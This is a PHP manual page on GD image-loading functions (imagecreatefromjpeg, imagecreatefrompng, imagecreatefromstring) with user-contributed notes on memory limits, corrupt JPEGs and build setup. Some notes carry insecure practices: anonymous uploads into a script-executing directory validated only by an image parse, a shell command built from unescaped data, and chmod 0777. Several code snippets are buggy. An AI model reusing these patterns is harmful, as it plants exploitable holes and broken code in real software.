Also, here is the same formula presented in a somewhat more human-readable way, if you'd rather:

<?php
$MB = Pow(1024,2);   // number of bytes in 1M
$K64 = Pow(2,16);    // number of bytes in 64K
$TWEAKFACTOR = 1.8;   // Or whatever works for you
$memoryNeeded = round( ( $imageInfo[0] * $imageInfo[1]
                                        * $imageInfo['bits']
                                        * $imageInfo['channels'] / 8
                          + $K64
                        ) * $TWEAKFACTOR
                     );
$memoryHave = memory_get_usage();
$memoryLimitMB = (integer) ini_get('memory_limit');
$memoryLimit = $memoryLimit * $MB;

if ( function_exists('memory_get_usage')
     && $memoryHave + $memoryNeeded > $memoryLimit
   ) {
   $newLimit = $memoryLimitMB + ceil( ( $memoryHave
                                      + $memoryNeeded
                                      - $memoryLimit
                                      ) / $MB
                                    );
   ini_set( 'memory_limit', $newLimit . 'M' );
}
?>
JohnBrook at pobox dot com 10-Feb-2006 03:51
Additional note on allocating memory: The 1.65 in the formula provided below by yaroukh and Karolis is evidently a "fudge factor" arrived at through experimentation. I found that I had to nudge it up a little bit in order to accurately predict the memory that would be needed, otherwise the allocation still failed. In my case, I went right to 1.8 and that has worked so far. Your mileage may vary, so experiment as needed.
yaroukh at gmail dot com 09-Feb-2006 01:29
Hello Karolis

My solution was intended to solve situations when your webhoster puts a limit on the memory usage; in such a situations ini_set doesn't work ofcourse (even for variables that have 'PHP_INI_ALL' flag in a typical PHP-installation).

Have a nice day
  Yaroukh
Karolis Tamutis karolis.t_AT_gmail.com 31-Dec-2005 02:04
In addition to yaroukh at gmail dot com comment.

It seems that even a small image can eat up your default memory limit real quick. Config value 'memory_limit' is marked PHP_INI_ALL, so you can change it dynamically using ini_set. Therefore, we can "allocate memory dynamically", to prevent those memory limit exceeded errors.

<?php

$imageInfo = getimagesize('PATH/TO/YOUR/IMAGE');
$memoryNeeded = round(($imageInfo[0] * $imageInfo[1] * $imageInfo['bits'] * $imageInfo['channels'] / 8 + Pow(2, 16)) * 1.65);

if (function_exists('memory_get_usage') && memory_get_usage() + $memoryNeeded > (integer) ini_get('memory_limit') * pow(1024, 2)) {

    ini_set('memory_limit', (integer) ini_get('memory_limit') + ceil(((memory_get_usage() + $memoryNeeded) - (integer) ini_get('memory_limit') * pow(1024, 2)) / pow(1024, 2)) . 'M');

}

?>
yaroukh at gmail dot com 21-Aug-2005 01:15
Estimated memory needed for ImageCreateFromJPEG

First I supposed simple width*height*bpp will be enough, it isn't though; there is some pretty big overhead.

$imageInfo = GetImageSize($imageFilename);
$memoryNeeded = Round(($imageInfo[0] * $imageInfo[1] * $imageInfo['bits'] * $imageInfo['channels'] / 8 + Pow(2, 16)) * 1.65);

With memory_limit enabled running out of memory causes script to crash; above written will tel you how much memory you're gonna need for creating an image-resource out of image-file. So in conjunction with Memory_Get_Usage() and Get_CFG_Var('memory_limit') you can avoid the mentioned ending. (Yet there won't be too many images blocked from processing that would still fit in the memory, as the results of this are pretty accurate.)
rich at launchcode dot co dot uk 02-Aug-2005 03:54
If you get this error: "Warning: imagecreatefromjpeg(): gd-jpeg: JPEG library reports unrecoverable error" then check the JPEG files. If they are saved in CMYK format (instead of RGB) then GD will fail to load them (tested with GD 2.0.12)
elyoukey at hotmail dot com 02-Aug-2005 09:31
here is a code, inspired by the button of
tl at comvironment dot com

but here, you can make as many buttons as you need by cutting the image in as many parts as defined in the table

<?php
class Button_Array{
    var $tab_button = array();// the text of each button you want to create
    var $im;//the image file

    function Button_Array($fileName, $tab_string){
        $this -> tab_button = $tab_string;
        $this -> im = $fileName;

        //parameters
        $font  = 10;

        //cut the full image in X parts
        //X = the number of buttons you want
         $imgFull=ImageCreateFromJPEG($this -> im);
         list($width, $heightFull, $type, $attr) = getimagesize($this -> im);

         $height = round($heightFull/sizeof($this->tab_button),0);

        for ($i=0;$i<sizeof($this->tab_button);$i++ ) {

            $pos=$i*$height;

            $imgParts[$i]=ImageCreateTrueColor($width,$height);
            if(imagecopy($imgParts[$i],$imgFull,0,0,0,$pos,$width,$height)){

                //manips
                $textColor = imagecolorallocate ($imgParts[$i],0,20,90);
                ImageString ($imgParts[$i],$font,200,10,$this->tab_button[$i],$textColor);

                //cr�ation du fichier
                ImageJPEG($imgParts[$i] , $this->tab_button[$i].'.jpg',85);
            }
        }
    }
}

$tab[]="topic1";
$tab[]="topic2";
$tab[]="topic3";
$tab[]="topic4";
$tab[]="more topics";

$tabButton=new Button_Array("a.jpg",$tab);

echo "<table border=0 cellspacing=0 cellpadding=0>";
foreach ($tab as $source) {
    echo "<tr><td><img src='$source.jpg'></td></tr>";
}
echo "</table>";

?>
miczimbett at gmail dot com 31-Jul-2005 02:30
the check_jpeg function listed above has a small "bug" when u set $fix=true... after the fix, the function does not close the file... and the imagecreatefromjpeg would still crash on an open file.

    //# [070203]
    //# check for jpeg file header and footer - also try to fix it
    function check_jpeg($f, $fix=false ){
        if ( false !== (@$fd = fopen($f, 'r+b' )) ){
            if (fread($fd,2)==chr(255).chr(216) ){
                fseek ( $fd, -2, SEEK_END );
                if ( fread($fd,2)==chr(255).chr(217) ){
                    fclose($fd);
                    return true;
                }else{
                    if ($fix && fwrite($fd,chr(255).chr(217)) ){
                        fclose($fd);
                        return true;
                    }
                    fclose($fd);
                    return false;
                }
            } else {
                fclose($fd);
                return false;
            }
        } else {
            return false;
        }
    }
linus at flowingcreativity dot net 29-May-2005 06:20
I am using PHP 4.3.8 and GD 2.0.23-compatible, and this function does not return an empty string on failure as stated. This line:

<?php
var_dump(imagecreatefromjpeg('bogus filename'));
?>

outputs:

bool(false)

Of course this doesn't matter unless you're using a strict comparison operator to evaluate the result, but I thought I'd point it out.
Zap 14-Apr-2005 04:14
Under some configurations imagecreatefromjpeg will create files that are owned by the webserver rather than the php user. For example, php may be run as phpuser and the image will be created under apache.

This can lead to permissions problems - only a +0777 will be enough to be able to create a picture.

My solution was to chmod over ftp to 0777 just before the picture is written then change back to 0755 when the image has been created.

The alternative of course would be to have a properly configured system...
Angel Leon 31-Mar-2005 03:13
This is a very useful script when you have hundreds of images and you need a quick setup for a thumbnail, where you can select how many
pictures per row, size of the thumbnail, and the size of the pictures when clicked, all in one script. Just throw all your images and this script in a file named index.php or index.html (if your apache httpd.conf defaults to html and runs .html as php).

Script also contains simple text watermarking. See function thumbImage()
and modify to add image watermarking if you like.

<?
// 30 Minutes Thumbnail script written by Angel Leon from wedoit4you.com
// Licensed under the GPL
// Courtesy of wedoit4you.com

//Instructions:
//copy this script wherever you have a bunch of .jpgs
// Invoke your thumbnail like this http://mysite.com/imageFolder/index.php
//where index.php is this script.

//Modify and redistribute but don't remove our trademark.

//configure script here

//pictures per row
$row_size = 3;

//height of the pictures in thumbnail
$thumb_height = 200;

//height of the pictures when clicked (to save bandwidth)
$big_image_height=668;

//short name of your site
$waterMark = "mysite.com";

$dh = opendir(".");
$files = array();
while (($file = readdir($dh)) !== false) {
  if (ereg("jpg",$file) || ereg("gif",$file) || ereg("png",$file)) {
  $files[] = $file;
  }
}
closedir($dh);

if ($show_image) {
  thumbImage($show_image,$big_image_height,$waterMark);
} else if ($thumb_image) {
  thumbImage($thumb_image,$thumb_height,$waterMark);
}
else {
  echo "<center>" . createThumbTable($files,$row_size) . "</center>";
}

function createThumbTable($files,$pics_wide) {
  $row = intval(count($files)/$pics_wide);
  $picIndex = 0;

  $rs = "Mostrando " . count($files) . " imagenes<br>";
  $rs .= "<table border=0 cellspacing=1 cellpadding=0 style='border:1px solid black'>\n";
  for ($i=0; $i <$row; $i++) {
    $rs .= "\t<tr>\n";
    for ($picIndex,$j=0;
     $j < $pics_wide && $picIndex < count($files);
     $j++,$picIndex++) {
      $rs .= "\t\t<td><a href=index.php?show_image=" .
    $files[$picIndex] . ">" .
    "<img src=index.php?thumb_image=" .
      $files[$picIndex] . " border=0 title='Copyright wedoit4you.com'></a></td>\n";
      //$rs .= "<td>i=$i / $j=$picIndex</td>";

    }
    $rs .= "\t</tr>\n";
  }//for
  $rs .= "<tr><td colspan=$pics_wide align=center>Free Thumbnail script by <a href=http://www.wedoit4you.com>wedoit4you.com</a><br>Written by Angel Leon (March 2005)</td></tr></table>\n";

  return $rs;
} //createThumbTable

function thumbImage($file,$img_height,$waterMark) {

  $img_temp = imagecreatefromjpeg($file);

  $black = @imagecolorallocate ($img_temp, 0, 0, 0);
  $white = @imagecolorallocate ($img_temp, 255, 255, 255);

  $font = 2;

  $img_width=imagesx($img_temp)/imagesy($img_temp)*$img_height;
  $img_thumb=imagecreatetruecolor($img_width,$img_height);

  imagecopyresampled($img_thumb,
  $img_temp,0,0,0,0,$img_width,
  $img_height,
  imagesx ($img_temp),
  imagesy($img_temp));

  $originx = imagesx($img_thumb) - 100;
  $originy = imagesy($img_thumb) - 15;

  @imagestring ($img_thumb, $font, $originx + 10, $originy,
              $waterMark, $black);
  @imagestring ($img_thumb, $font, $originx + 11, $originy - 1,
              $waterMark, $white);

  header ("Content-type: image/jpeg");
  imagejpeg($img_thumb, "", 60);

  imagedestroy ($img_thumb);
}

?>
dmf four one fiive at yahoo dot com 03-Mar-2005 01:08
Another thing to note, is the file not might actually be a jpeg , even though the filename ends in .jpg. If this is the case the command won't work. You will need imagecreatefromgif()

The easiest way to check is to use your favorite editor like vi.

On Line one it will tell you if its a gif or a jpg..

I took a quick look at a few image files. the gifs say GIF87a and the real jpegs should say JFIF or something like that.
ceefour -at!- gauldong.net 24-Feb-2005 11:24
I have to say recompiling PHP from the sources and enabling JPEG support in gd took me awhile to figure out.

Somewhere especially configure --help should have stated that --with-jpeg-dir is MANDATORY if you want to have JPEG support. And even if you did so, it doesn't mean you'll get it. If it's wrongly configured, no error is going to be output, all you get is "no JPEG support". What's more confusing is when JPEG support is disabled phpinfo won't say "JPEG Support: disabled", but just omit the entry so you won't even realize something is wrong.

If you recompile PHP or gd, make sure:
- rm -f config.cache FIRST
- make clean (this helps A LOT), actually you can just delete modules/gd.*, and every *.o in ext/gd. this part actually gave me the best headache
- ./configure --with-jpeg-dir=/usr/lib OR any other directory which contains the BINARY library of libjpeg
- make, make install

phpinfo should now display jpeg support... good luck.
(you lucky guys who already have PHP 5 installed on your server... you don't have to go through all the mess I had)
tl at comvironment dot com 24-Feb-2005 10:53
I made a script to produce, save, and use dynamic buttons simultaneously. If the file exists, it will be shown as usual. If not, this script produces a new image and saves it. You only need the background (back.jpg). Maybe it is useful for somone.

<?php

class Button {

    var $ib = 'back.jpg';
    var $im;

    function Button ($fileName, $string) {
        $this -> im = $fileName;
        if(!file_exists($this -> im)) {
            $this -> _createButton($string);
        }
    }

    function getFileName() {
        return $this -> im;
    }

    function _createButton($string) {
        $font  = 4;
        $width  = max(400,(ImageFontWidth($font) * strlen($string)) + 4);
        $height = max(20,(ImageFontHeight($font) + 4));

        $imgBack=ImageCreateFromJPEG($this -> ib);
        $imgText=ImageCreateTrueColor($width,$height);

        $textColor = imagecolorallocate ($imgText,90,90,90);

        ImageCopy($imgText,$imgBack,0,0,0,0,$width,$height);
        ImageString ($imgText,$font,2,2,$string,$textColor);
        ImageJPEG($imgText,$this -> im,85);
        ImageDestroy($imgBack);
        ImageDestroy($imgText);
        chmod ($this -> im,0644);
    }

}

$button = new Button('button.jpg','button text');
echo '<img src="' . $button -> getFileName() . '">';

?>
cs at kainaw dot com 01-Nov-2004 08:09
The ImageCreateFromJPEG() function is capable of throwing an emalloc() error.  If this happens, the script will die, but the error will be in your error logs.  You should ensure that you have memory available before creating a large image from a jpeg file.
webmaster at kautto dot se 25-Oct-2004 12:48
Concerning the path discussion. A relative path works just fine, if it is used properly. The thing is just to keep track of where in the file system you actually are calling the function from.

E.g. including file A into file B, and then executing file A. Now calls made in file B will act as if they actually are made file A, due to the inclusion. So a well designed filesystem is very important. Also moving a file might lead to this type of path related problems.

Hope this made any sence! :)
Jezu 22-Oct-2004 12:36
I have noticed that Nokia's old camera-phones create non-standard JPEG's.

Nokias' JPEG doesn't end with 0xFFD9. Add 0xFFD9 end of file and image works fine with imagecreatefromjpeg(). Willertan1980 already sent code to do that.
dmjoe 16-Jul-2004 01:46
This function DOES accept paths in the filename, just make sure they're absolute paths.  A relative path won't work, at least it didn't for me. This is in response to jonlup's comment from june 25:

"I played with "imagecreatefromjpeg()" function and, after a few tests, I found that the filename that it requires as parameter should be only a simple filename: the function does not work if in the string of the filename is specified a path to that file."
30-Jun-2004 01:55
here is my clear method to resize images
you can check how it works on http://www.jetevents.pl

<?php
   $maxx=100;    // maximum width
   $maxy=75;    // maximum height

   $name=strtolower(substr($_FILES['file']['name'],0,-4)).".jpg";  // name of file - must be jpg
     $size = GetImageSize ($_FILES['file']['tmp_name']);        // params of image

   if ($size[0]>$size[1]) {$sizemin[0]=$maxx;$sizemin[1]=$maxy;};
   if ($size[1]>$size[0]) {$sizemin[0]=$maxy;$sizemin[1]=$maxx;};

   $im=@imagecreatefromjpeg($path);                // path to your gallery
   $small = imagecreatetruecolor($sizemin[0], $sizemin[1]);    // new image
   ImageCopyResampled($small, $im, 0, 0, 0, 0, $sizemin[0], $sizemin[1], $size[0], $size[1]);
   // below is main function resampling image

   ImageDestroy($im);                        // free memory

   if (ImageJPEG($small,$path,100))                // try to save image
       {
       echo "File $path has been written<br>\n";            // success
       echo "size: ".$sizemin[0]."x".$sizemin[1] ."<br>\n";
       }
     else
       {
       echo "<font color=red><b>";                    // failed to write file
       echo "Error ! File has not been written.";
       echo "</b></font><br>\n";
       };

?>
jonlup at yahoo dot com 26-Jun-2004 04:04
I played with "imagecreatefromjpeg()" function and, after a few tests, I found that the filename that it requires as parameter should be only a simple filename: the function does not work if in the string of the filename is specified a path to that file.
The quickest workaround found: do a chdir() to the directory of your image file before try to use "imagecreatefromjpeg()" with your file as parameter.
I did not test the other functions (imagecreatefromgd2(), imagecreatefromgd(), imagecreatefromgif() etc.), but I suppose that they work in the same way.
I think that little trick should be specified in the manual.
Javier Rayon 25-May-2004 08:55
Using imagecreate() combined with imagecreatefromjpeg() in PHP 4.3.0 and up creates wrong color jpeg's.

Use imagecreatetruecolor() instead of imagecreate() for right color images.
Sne 08-Apr-2004 03:02
small script that calculates square (in %) of eche color on the PNG image.

<?
$t1=time();
$im1=ImageCreatefrompng('1.png'); //name of the png file
echo "<img src=1.png>";
$widthIm=ImageSX($im1);
$heightIm=ImageSY($im1);
$total=$widthIm*$heightIm;
$cvcol=imagecolorstotal($im1);
    for ($i=0; $i<$widthIm; $i++){
    for ($j=0; $j<$heightIm; $j++){
    $tochka=imagecolorat($im1,$i,$j);
    $num[$tochka]=$num[$tochka]+1;
    }
    }
echo "<br><br>$widthIm x $heightIm ($total pixels).";
echo " Number of colors in pallette - $cvcol<br><br>
";
echo "<table width=400 border =1>";
for ($k=0; $k<$cvcol; $k++) {
$proc=round($num[$k]/$total*100, 2);
$Palitra =ImageColorsForIndex($im1,$k);
$Palitra[red]= dechex($Palitra[red]);
$Palitra[green]= dechex($Palitra[green]);
$Palitra[blue]= dechex($Palitra[blue]);
echo "<tr><td>$k</td><td width=100>$Palitra[red]-$Palitra[green]-$Palitra[blue]</td>";
echo "<td width=100>$proc %</td>";
echo "<td width=100 bgcolor=$Palitra[red],$Palitra";
echo "[green],$Palitra[blue]>&nbsp;</td></tr>";
}
echo "</table>";
imagedestroy($im1);
$t2=-$t1+time();
echo "<br>Time past: $t2 sec";
?>
willertan1980 at yahoo dot com 20-Aug-2003 01:14
did you found that sometimes it hang the php when imagecreatefromjpeg() run on bad JPEG. I found that this is cause by the JPEG file U used dont have EOI (end of image)
the FF D9 at the end of your JPEG

JPEG image should start with 0xFFD8 and end with 0xFFD9

// this may help to fix the error
function check_jpeg($f, $fix=false ){
# [070203]
# check for jpeg file header and footer - also try to fix it
    if ( false !== (@$fd = fopen($f, 'r+b' )) ){
        if ( fread($fd,2)==chr(255).chr(216) ){
            fseek ( $fd, -2, SEEK_END );
            if ( fread($fd,2)==chr(255).chr(217) ){
                fclose($fd);
                return true;
            }else{
                if ( $fix && fwrite($fd,chr(255).chr(217)) ){return true;}
                fclose($fd);
                return false;
            }
        }else{fclose($fd); return false;}
    }else{
        return false;
    }
}
office at 4point-webdesign dot com 08-Jul-2003 09:47
Here's the answer for your 256 color only problem!!!
use these functions in order then it works fine!

$img_src=imagecreatefromjpeg('yoursource.jpg');
$img_dst=imagecreatetruecolor(20,20);
imagecopyresampled($img_dst, $img_src, 0, 0, 0, 0, 20, 20, 20, 20);
imagejpeg($img_dst, $g_dstfile, 100);
imagedestroy($img_dst);

Greetz, GTB
lordneon at deskmod dot com 23-Jun-2003 11:00
For Windows users who wants to enable the GD libary:

It took me some while to figure this out, but in the end it worked (and still does) great.

1. First download the latest (stable recommended) version of php
2. Unzip to f.ex c:\php\

3. Now you should have a file in c:\php\ that's named php.ini.dist (or something like that). Rename that to php.ini and copy it to the root of you Windows directory.

4. Open the php.ini file (the easiers way is to open the run promnt at your start menu and just type php.ini and hit enter).

5. Search (ctrl+f) for extension_dir. The default value is set to "./", make it to "./extensions"

6. Now you need to find where in the php.ini the modules for Windows is located. Search for gd.

7. Remove the ; char infront of this line: extension=php_gd2.dll

8. Try make a php script with some image functions and see if it works. F.ex $im = imageCreate("test.jpg");
If you get a message that says something like imageCreate function doesn't exist the gd libary is not loaded.

9. That's all. Have fun using GD in Windows :)
atapi103 at hotmail dot com 31-May-2003 10:14
As jpsy sugested Windows users can download the zip to get the gd2_dll extension

OR

If you already installed with the windows installer and are too lazy to get the zip you can go here

http://www.coupin.net/gd-freetype/windows.php

Download the php_gd2.dll file put it wherever you want, and change the

extension_dir=C:\php\extensions

Wherever you saved the dll to is the path you put in, remember to uncomment

extension=php_gd2.dll

Do not uncomment the one above for gd.dll (the one without the 2)
tom at ierna dot com 01-Feb-2003 12:37
Doing a "make clean", regardless of which platform you're on (including MacOS X) should clean up the source tree enough to ensure that config changes take effect...
bpiere21 at hotmail dot com 30-Jun-2002 03:57
###--- imagecreatefromjpeg only opens JPEG files from your disk.
###--- To load JPEG images from a URL, use the function below.

function LoadJPEG ($imgURL) {

    ##-- Get Image file from Port 80 --##
    $fp = fopen($imgURL, "r");
    $imageFile = fread ($fp, 3000000);
    fclose($fp);

    ##-- Create a temporary file on disk --##
    $tmpfname = tempnam ("/temp", "IMG");

    ##-- Put image data into the temp file --##
    $fp = fopen($tmpfname, "w");
    fwrite($fp, $imageFile);
    fclose($fp);

    ##-- Load Image from Disk with GD library --##
    $im = imagecreatefromjpeg ($tmpfname);

    ##-- Delete Temporary File --##
    unlink($tmpfname);

    ##-- Check for errors --##
    if (!$im) {
        print "Could not create JPEG image $imgURL";
    }

    return $im;
}

$imageData = LoadJPEG("http://www.example.com/example.jpg");

Header( "Content-Type: image/jpeg");

imagejpeg($imageData, '', 100);
mihkel at raba dot ee 05-Jan-2002 10:00
[Ed Note: You must have netpbm installed for this to work --alindeman @ php.net]

Just wanted to let you know that
imagecreatefromjpeg crashes php
(command line at least) sometimes with segmentation fault when jpeg is corrupted.
To get rid of the nasty segmentation fault i used
system ("jpegtopnm f.jpg > f.pnm", $r);
if ($r != 0) {printf ("invalid jpeg\n"); return; }
system ("pnmtopng f.pnm > f.png");
$im =imagecreatefrompng ("f.png");
jason_wilk at hotmail dot com 02-Oct-2001 07:16
Wow, it only took me 3 hours to get all of the lib paths correct for my install. Some of them are /usr, and some are /usr/lib...go figure. I figured that I would post this in the hopes that it will save somebody some time.

Remember that if you're using rpm installs...you have to install the devel packages. For example, if you're installing mysql from rpm, and you want to compile with support for your particular MySql dist, you must install mysql-devel*.rpm.

Anyway, I'm a redhat 7.1 install...with all appropriate devel packages installed.

./configure \
--with-mysql=/usr \
--with-ftp \
--with-apxs=/home/www/bin/apxs \
--with-xpm-dir=/usr/X11R6 \
--with-gdbm=/usr/lib \
--with-gd=/usr \
--with-zlib-dir=/usr/lib \
--with-jpeg-dir=/usr/lib \
--with-png-dir=/usr/lib \
--with-tiff-dir=/usr/lib \
--with-config-file-path=/home/www/conf \
--with-freetype-dir=/usr/lib \
--enable-magic-quotes \
--enable-track-vars
dmsales at design-monster dot com 28-Jun-2001 07:17
I just wanted to note here something i found else where that was very helpful to me when using jpeg images.  when using imagecreatefromjpeg()  it can be difficult to allocate new colors.

The work around i found was posted under imagecolorallocate() and prescribes that you first use imagecreate(), allocate colors, and then copy the jpeg into this image.
infoNOSPAM at psnetworks dot net 09-Apr-2001 06:33
For those having trouble getting jpeg support using gd, make sure you
rm config.cache
before reconfiguring php. Otherwise the configure script will assume jpeg support is still not compiled into gd.
mboucher at ampmedia dot net 20-Feb-2001 01:00
In response to my own post:

Maybe this is common knowledge but here is how I solved my problem. Hopefully this will help out seeing how I couldn't find any other articles on this topic with a solution.

This seems to work pretty well. Displays in browser and QT Picture Viewer but for some reason Photoshop won't open it. Translation error. Since I'm just using it to cache the image for when the our content provider goes down no biggie there.

<?php
$si = fopen($imagePathURL, "r");   // open URL

    $serverImg = fread($si, 1000000);   // read contents

fclose($si);   // close file
?>

/* open file to save to (w+ creates if file does not exist || b opens binary safe [Win32]) Seemed to work fine with out the 'b' on Windows NT but just to be safe. */

<?php
$si = fopen($saveImgTo, "w+b");

    fwrite($si, $serverImg);   // write contents to file

fclose($si);   // close file
?>

Hope this helps somebody...long live PHP
support at corbach dot de 22-Dec-2000 12:46
Wonder why that's just the only image function you can't get to work? Remember that you have to use a gd library that supports JPEG (make it manually and <important>edit the makefile</important>)! Especially all gd RPMs from SuSE (including 7.0) don't support it as it's not default up to gd 1.8.3.
timpie2000 at zeelandnet dot nl 23-Sep-2000 02:52
Be sure to allocate your colors AFTER you used this function or else you might get some strange colors..
rodders_plonker at yahoo dot com 21-Jul-2000 05:49
To all those having trouble with a message to the effect of:
CreateImageFromJpeg() not supported in this PHP build
Start by adding --with-jpeg-dir to your ./configure options as I left this out (not knowing I needed it) and I spent the best part of 6 hours trying to compile to get this option. (RH 6.2, PHP 4.0.1pl2, Apache 1.3.12, GD 1.8.3)


Create a new image from file or URL

  • « imagecreatefromjpeg
  • imagecreatefromstring »
  • PHP Manual
  • GD and Image Functions
  • Create a new image from file or URL

imagecreatefrompng

(PHP 4, PHP 5)

imagecreatefrompng — Create a new image from file or URL

Description

resource imagecreatefrompng ( string $filename )

imagecreatefrompng() returns an image identifier representing the image obtained from the given filename.

Tip

A URL can be used as a filename with this function if the fopen wrappers have been enabled. See fopen() for more details on how to specify the filename. See the Supported Protocols and Wrappers for links to information about what abilities the various wrappers have, notes on their usage, and information on any predefined variables they may provide.

Parameters

filename

Path to the PNG image.

Return Values

Returns an image resource identifier on success, FALSE on errors.

Examples

Example #1 Example to handle an error during loading of a PNG

<?php
function LoadPNG($imgname)
{
    /* Attempt to open */
    $im = @imagecreatefrompng($imgname);

    /* See if it failed */
    if(!$im)
    {
        /* Create a blank image */
        $im  = imagecreatetruecolor(150, 30);
        $bgc = imagecolorallocate($im, 255, 255, 255);
        $tc  = imagecolorallocate($im, 0, 0, 0);

        imagefilledrectangle($im, 0, 0, 150, 30, $bgc);

        /* Output an error message */
        imagestring($im, 1, 5, 5, 'Error loading ' . $imgname, $tc);
    }

    return $im;
}

header('Content-Type: image/png');

$img = LoadPNG('bogus.image');

imagepng($img);
imagedestroy($img);
?>

The above example will output something similar to:

Notes

Warning

Windows versions of PHP prior to PHP 4.3.0 do not support access of remote files via this function, even if allow_url_fopen is enabled.

User Contributed Notes

admin at wdfa dot co dot uk 18-Apr-2009 12:06
When using imagecreatepng with alpha blending you will lose the blending.

To over come this use something like the following
<?php
$dstimage=imagecreatetruecolor($width,$height);
$srcimage=imagecreatefrompng($src);
imagecopyresampled($dstimage,$srcimage,0,0,0,0, $width,$height,$width,$height);
?>
Where $width and $height are the width and height of the $src image.

This will create a true colour image then copy the png image to this true colour image and retain alpha blending.
marcos at assl-site dot net 28-Feb-2007 09:23
I had the same problem as jboyd1189 at yahoo dot com but I solve d it allocating more memory dynamically.

Usually the memory_limit var on php.ini is set to 8M. Unfortunately, the required amount of memory to manage a PNG image about 1000x1000 could be bigger !

The approach I used to solve the problem is:

1-Calculate the memory required by the image
2-Set the new memory_limit value
3-Create the PNG image and thumbnail
4-Restore the original value

1-The following value works for me:
$required_memory = Round($width * $height * $size['bits']);

Note that for JPEG the requirements are not the same:
http://es2.php.net/manual/en/function.imagecreatefromjpeg.php#60241

2-Use somthing like:
$new_limit=memory_get_usage() + $required_memory;
ini_set("memory_limit", $new_limit);

4-ini_restore ("memory_limit");
jboyd1189 at yahoo dot com 05-Jul-2006 11:49
I was having a terrible time with the imagecreatefrompng function as it was working perfectly for one image and not at all for another.  After many hours of frustration, I discovered that the problem was the image size (number of pixels).  It appears that the maximum number of pixels this function will process is 1,040,000.  So, be sure that the pixel resolution of the image (eg. 1040 x 1000) does not exceed this value.
07-Jun-2004 01:14
If you're trying to load a translucent png-24 image but are finding an absence of transparency (like it's black), you need to enable alpha channel AND save the setting. I'm new to GD and it took me almost two hours to figure this out.

<?php
$imgPng = imageCreateFromPng($strImagePath);
imageAlphaBlending($imgPng, true);
imageSaveAlpha($imgPng, true);

/* Output image to browser */
header("Content-type: image/png");
imagePng($imgPng);
?>


Create a new image from the image stream in the string

  • « imagecreatefrompng
  • imagecreatefromwbmp »
  • PHP Manual
  • GD and Image Functions
  • Create a new image from the image stream in the string

imagecreatefromstring

(PHP 4 >= 4.0.4, PHP 5)

imagecreatefromstring — Create a new image from the image stream in the string

Description

resource imagecreatefromstring ( string $image )

imagecreatefromstring() returns an image identifier representing the image obtained from the given image. These types will be automatically detected if your build of PHP supports them: JPEG, PNG, GIF, WBMP, and GD2.

Parameters

image

A string containing the image data.

Return Values

An image resource will be returned on success. FALSE is returned if the image type is unsupported, the data is not in a recognised format, or the image is corrupt and cannot be loaded.

Examples

Example #1 imagecreatefromstring() example

<?php
$data = 'iVBORw0KGgoAAAANSUhEUgAAABwAAAASCAMAAAB/2U7WAAAABl'
       . 'BMVEUAAAD///+l2Z/dAAAASUlEQVR4XqWQUQoAIAxC2/0vXZDr'
       . 'EX4IJTRkb7lobNUStXsB0jIXIAMSsQnWlsV+wULF4Avk9fLq2r'
       . '8a5HSE35Q3eO2XP1A1wQkZSgETvDtKdQAAAABJRU5ErkJggg==';
$data = base64_decode($data);

$im = imagecreatefromstring($data);
if ($im !== false) {
    header('Content-Type: image/png');
    imagepng($im);
    imagedestroy($im);
}
else {
    echo 'An error occurred.';
}
?>

The above example will output something similar to:

Output of example : imagecreatefromstring()

See Also

  • imagecreatefromjpeg() - Create a new image from file or URL
  • imagecreatefrompng() - Create a new image from file or URL
  • imagecreatefromgif() - Create a new image from file or URL
  • imagecreatetruecolor() - Create a new true color image

User Contributed Notes

hope at it-helps dot com 26-May-2011 01:29
Create an image resource from file, without knowing image type:

<?php
function imagecreatefromfile($imagepath=false) {
    if(!$imagepath || !$is_readable($imagepath) return false;
    return @imagecreatefromstring(file_get_contents($imagepath));
}
$img_resource=imagecreatefromfile($imagepath);
?>
php dot net at phor dot net 25-Oct-2009 08:12
My site allows anonymous uploads to a web-accessible location (that will execute a script if it finds one).

Naturally, I need to verify that only harmless content is accepted. I am expecting only images, so I use:

<?php
  $im = $imagecreatefromstring($USERFILE);
  $valid = ($im != FALSE);
  imagedestroy($im);
  return $valid;
?>
logan at logansbailey dot com 11-Aug-2009 03:00
So you guys don't spend an hour trying to figure out why your script keeps running out of memory when you're using this or the other imagecreatefrom functions.  GD uncompresses the image when you use these functions, and this can lead to your script running out of memory.

If you download a rawimage save it on your computer to jpeg so the file size comes down, GD will automatically convert it to the raw and you can possibly run out of memory.
ville dot jungman at gmail dot com 24-Sep-2008 11:01
While downloading images from internet, it's easiest to let php decide what is the file type. So, forget using imagecreatefromjpg, imagecreatefromgif and imagecreatefrompng. Instead, this is the way to go:

<?php
$src = "http://www.varuste.net/tiedostot/l_ylabanneri.jpg";
$image = imagecreatefromstring(file_get_contents($src));
?>
nfo[NOSPAM] at safernetworks dot net 09-Sep-2008 04:04
The only way I managed to resolve the loading of image files from file data either on local site or from off-site protocols is as follows. I hope this saves someone else the two hours of debugging and looking for good examples.
[PHP]

<?php
$sFile = "http://www.justgreatwine.co.uk/img/vineyard.jpg";
$imagedata = GetFileData($sFile); //load the file in 4k chunks
/*=======THE OUTPUT=========*/
ob_start();
// assuming you have image data in $imagedata
$length = strlen($imagedata);
header('Last-Modified: '.date('r'));
header('Accept-Ranges: bytes');
header('Content-Length: '.$length);
header('Content-Type: image/jpeg');
print($imagedata);
ob_end_flush();
/*======FUNCTIONS USED======*/
function GetFileData($sFilePath){
    $fp = fopen($sFilePath, 'rb') or die('404! Unable to open file!');
    $buf = '';
    while(!feof($fp)){
        $buf .= fgets($fp, 4096);
    }
    fclose($fp);
return $buf; //returns False if failed, else the contents up to FileSize bytes.
}
?>

[/PHP]
Blizzke at gmail dot com 13-Sep-2007 11:21
I use dynamically generated images that require a little touch-up before being displayed. So essentially I do some base work, then store the images in a memory cache (APC), reload the images again from the cache later on "into" GD, do final processing and then display the image.
Since I wanted to avoid a lot of disc access I used the output buffering functions:

<?php
   // Do your image processing stuff

   // Start buffering
   ob_start ( );
   ImageGD ( $hImage );
   $sImage = ob_get_contents ( );
   ob_end_clean ( );

   // Put stuff into cache

   // Reload from cache and recreate image
   $hImage = imagecreatefromstring ( $sImage );

   // Do final editing stuff and output image
?>

Of course this is a condensed example but I just wanted to share the idea.
kanzure at gmail dot com 11-Jul-2006 06:18
Generating graphs in an external program (in this case, gnuplot) may cause problems. This is a solution hacked together in the late hours of night.

<?php
// get the values from, say, a database
$vals = "1 2\\\\n4 8\\\\n"; # etc
// construct the gnuplot_call variable, something like:
$gnuplot_call = "echo \"set term png; plot '<echo -e \\\"$vals\\\" ' ti 'Updated with' with line ; \" | gnuplot";
ob_start();
